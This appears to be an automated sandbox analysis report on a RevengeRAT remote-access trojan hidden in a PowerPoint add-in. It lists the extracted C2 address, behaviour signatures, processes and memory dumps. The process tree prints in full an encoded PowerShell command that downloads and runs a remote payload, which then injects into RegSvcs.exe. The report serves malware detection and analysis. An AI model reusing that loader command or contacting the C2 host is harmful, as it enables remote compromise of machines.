Analysis
- max time kernel
142s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240221-en - resource tags
- submitted
25/02/2024, 05:17
General
- Target b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam
- Size 16KB
- Sample240225-fytxgsdc2x
- SHA256 b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
brasil.ddns.com.br:333
-
5e241e476b334640a2f
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAGMAbABpAGUAbgB0AHgAeAB4AHgAeAB4AHgAeAB4AC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGQAMQA1ADQAZgBmADcAZAAtAGYAMgAyADYALQA0ADgAZAAwAC0AYQA5AGQANwAtADEAMgAwADAANwA2ADQAYwBhAGIANABlAA0ACgAnACkAOwAgAA0ACgByAGUARQBhAFoAYQBIAEIAYQBGAHAAZABSAFEAUQB0AHYASQBoAHoAYQBuAEEATABPAGIAYgBCAHAAVgBUAE8ARABRAGUAdwBXAEIATQBZAGMAQgBKAGkASQBTAHoASwBKAEkAeQB0AHYAcABSAEMASwB0AHUAWQBCAGgAbwBHAGkAQgBIAGEATABGAEEAUgBXAGsAVwANAAoA""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0wkft1y0.rjh.ps1
memory/3244-63-0x0000022CAC360000-0x0000022CAD330000-memory.dmp
memory/3244-48-0x0000022CAC360000-0x0000022CAD330000-memory.dmp
memory/3244-4-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-1-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-5-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-6-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-8-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-7-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-9-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-10-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-11-0x00007FFC54470000-0x00007FFC54480000-memory.dmp
memory/3244-12-0x00007FFC54470000-0x00007FFC54480000-memory.dmp
memory/3244-29-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmp
memory/3244-46-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmp
memory/3244-47-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-2-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-49-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-50-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-51-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-52-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-53-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-54-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-55-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-56-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-58-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-57-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-59-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-60-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmp
memory/3244-61-0x0000022CA9FB0000-0x0000022CAA7B0000-memory.dmp
memory/3244-62-0x0000022CAC360000-0x0000022CAD330000-memory.dmp
memory/3244-3-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-94-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-0-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-93-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-90-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-92-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-91-0x00007FFC96A10000-0x00007FFC96C05000-memory.dmp
memory/3244-87-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-88-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3244-89-0x00007FFC56A90000-0x00007FFC56AA0000-memory.dmp
memory/3584-95-0x0000020258620000-0x0000020258640000-memory.dmp
memory/3584-99-0x0000020258620000-0x0000020258638000-memory.dmp
memory/3584-71-0x0000020258160000-0x0000020258182000-memory.dmp
memory/3584-76-0x00007FFC70240000-0x00007FFC70D01000-memory.dmp
memory/3584-77-0x000002023FAA0000-0x000002023FAB0000-memory.dmp
memory/3584-101-0x0000020258620000-0x0000020258638000-memory.dmp
memory/3584-96-0x0000020258620000-0x0000020258638000-memory.dmp
memory/3584-107-0x0000020258620000-0x0000020258638000-memory.dmp
memory/3584-112-0x00007FFC70240000-0x00007FFC70D01000-memory.dmp
memory/3584-79-0x000002023FAA0000-0x000002023FAB0000-memory.dmp
memory/3584-78-0x000002023FAA0000-0x000002023FAB0000-memory.dmp
memory/3584-103-0x0000020258620000-0x0000020258638000-memory.dmp
memory/3584-97-0x0000020258620000-0x0000020258638000-memory.dmp
memory/3584-108-0x0000020258640000-0x0000020258641000-memory.dmp
memory/3584-105-0x0000020258620000-0x0000020258638000-memory.dmp
memory/4948-109-0x0000000000400000-0x000000000040A000-memory.dmp
memory/4948-113-0x0000000074830000-0x0000000074FE0000-memory.dmp
memory/4948-114-0x0000000004F80000-0x0000000005524000-memory.dmp
memory/4948-115-0x0000000004A80000-0x0000000004A90000-memory.dmp
memory/4948-116-0x0000000005530000-0x00000000055CC000-memory.dmp
memory/4948-117-0x00000000055D0000-0x0000000005636000-memory.dmp
memory/4948-118-0x0000000074830000-0x0000000074FE0000-memory.dmp
memory/4948-119-0x0000000004A80000-0x0000000004A90000-memory.dmp